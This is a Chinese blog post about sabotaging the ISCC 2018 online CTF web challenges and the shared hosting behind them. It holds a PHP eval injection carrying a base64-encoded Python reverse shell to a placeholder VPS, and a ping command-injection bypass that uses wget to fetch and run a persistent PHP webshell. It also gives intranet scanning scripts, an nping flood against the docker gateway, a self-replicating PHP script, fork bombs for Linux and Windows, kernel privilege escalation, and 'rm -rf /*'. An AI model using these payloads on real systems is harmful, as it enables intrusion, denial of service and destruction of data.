ISCC2018线上赛之Web搅屎

阅读量    10443 | 评论 3   稿费 300

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

前言

这篇文章主要是总结一下在ISCC中发现的存在漏洞的Web题目,这些漏洞都可以导致题目被搅屎,甚至环境被提权:),当然我在发现的第一时间上报给主办方,至于修不修复就是他们的事情了。虽然说这个比赛的题目大多都是chao的,但是拿来练手刚好。

 

漏洞点

漏洞一

这题题目叫做:php是世界上最好的语言,题目源代码如下:

<?php
    include 'flag.php';
    $a = @$_REQUEST['a'];
    @eval("var_dump($$a);");
    show_source(__FILE__);
?>

可以看到这里有一个可变变量 $$a ,于是想到用 {php代码} 这种方式来执行代码,至于为什么这种方式能够执行代码(客服小哥哥问过我),参考官方手册吧: 可变变量

我发现题目环境装有python,于是打算用python反弹shell(客服在复现的时候直接使用nc发现shell会一直掉,我用python弹的shell就没掉过),代码如下:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("你的VPSIP",端口号));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

此时先在自己的VPS上面侦听端口:nc -lvp 端口号(和上面python代码里面的端口号一致即可)

把上面的语句用base64加密,放在下面的 base64_decode('') 单引号里面,然后访问:

http://118.190.152.202:8005/no_md5.php?a={system(base64_decode('cHl0aG9uIC1jICdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgiYIRWUFNJUCIs7+P3KSk7b3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7IG9zLmR1cDIocy5maWxlbm8oKSwyKTtwPXN1YnByb2Nlc3MuY2FsbChbIi9iaW4vc2giLCItaSJdKTsn'))}

访问即可回弹shell1

漏洞二

这题题目叫做:php是世界上最好的语言,题目源代码如下: 请ping我的ip看你能Ping通吗?

<?php
    header("Content-Type:text/html;charset=utf-8");
    echo "请ping我的IP 看你会ping通吗";
    $target = $_REQUEST[ 'ip' ];
    $target=trim($target);
    $substitutions = array(
        '&'  => '',
        ';' => '',
        '|' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows

        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 1 ' . $target );
    }
    echo  "<pre>{$cmd}</pre>";
?>

绕过也很简单,如下:

4

由于题目限制不严格,所以可以直接用wget下载反弹shell程序或者不死马:

wget http://VpsIP/iscc.txt
mv iscc.txt .isc.php
chmod +x .isc.php
php .isc.php &

 

如何搅屎

由于本次比赛并没有真正去搅屎,下面讨论的方法大多是整理他人的文章或者是在本机测试过的,所以只能算是yiyin搅屎了。

主机发现

linux环境

用shell脚本扫描内网,程序如下:

#!/bin/bash
# 用法: ./scan.sh 192.168.199 1 254

network=$1
time=$(date +%H%M%S)

for i in $(seq $2 $3)
do
    ping -c 1 -w 2 $network.$i > /dev/null
    if [ $? -eq 0 ]; then
          arp $network.$i | grep ":" | awk '{print $1,$3}' >> $time.log
          echo "host $network.$i is up"
   else
          echo "host $network.$i is down"
   fi
done

或者使用

for ((i=1; i<256; i++));
do
echo "Checking...[${i}]"
ping -c 1 192.168.199.${i} | grep ttl
done

windows环境

主机发现程序如下:

for /l %i in (1,1,255) do 
@ping 192.168.1.%i -w 1 -n 1 | find /i "ttl"

试着扫了ISCC的内网,扫描出14个IP,应该是14个docker,刚好对应14道Web题目:2

攻击网关

我想着如果要想让所有的web挂掉,那么可以通过攻击网关的方式来达成,因为比赛环境用docker,所以我们可以针对docker网关进行攻击,这样docker内的流量就出不去了,选手也就无法正常访问题目。于是乎我们可以进行arp攻击docker网络,将所有出站流量全部丢弃,或者DOS网关IP,我在ISCC的题目中发现装有nmap,那么我就可以使用命令

nping --tcp-connect -rate=90000 -c 900000 -q 172.17.42.1 &

不死马

基础知识

  • 1、ignore_user_abort
    int ignore_user_abort ([ bool $value ] )
    

    用于设置客户端断开连接时,是否中断脚本的执行

  • 2、set_time_limit
    bool set_time_limit ( int $seconds )
    

    用于设置允许脚本运行的最大时间,单位为秒。如果超过了此设置,脚本返回一个致命的错误。默认值为30秒,或者是在php.ini中 max_execution_time 的值。如果设置为0,没有时间方面的限制。当此函数被调用时,set_time_limit()会从零开始重新启动超时计数器。换句话说,如果超时默认是30秒,在脚本运行了了25秒时调用 set_time_limit(20) ,那么脚本在超时之前可运行总时间为45秒。

<?php
    set_time_limit(0);
    ignore_user_abort(true);
    while(1){
        file_put_contents(randstr().'.php',file_get_content(__FILE__));
        file_get_contents("http://127.0.0.1/");
    }
?>

这个脚本说是执行的后内存爆炸,phpGG了,严重点的话,Docker也GG。但我问过作者,他也没试过,只是夸张的说辞。然后我修改了一些,就在在while的最后一行再把生成的新文件include进来,效果会好一些,但是达到PHP内存上限时,PHP程序会终止运行。

资源耗尽

linux环境

:(){ :|: & };:

5windows环境

%0 | %0

6

提权

最后想试试提权,一开始用 CVE-2017-1000112 提权失败,然后朋友用 upstream44.c 成功提权,如下:

3

权限大了,你想怎么玩都可以(rm -rf /*)。最后建议大家看一下下面的相关链接,有些内容还是很有趣的,包括youtube上老外耗尽主机资源的视屏以及主办方们的防搅屎思路,都值得借鉴、学习。

 

相关链接

Trying out some Deadly Linux Commands part 1

Cripple a Computer with 5 Bytes of Batch [ %0|%0 ]

论如何在CTF比赛中搅屎

CTF主办方指南之对抗搅屎棍

你所遇到的CTF搅屎棍现象可以有多恶劣?

AD线下主办方防搅屎之Linux权限记录

乌云沙龙:赛棍的自我修养

CTF线下赛AWD小结(搬运+整理

CTF 搅屎

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多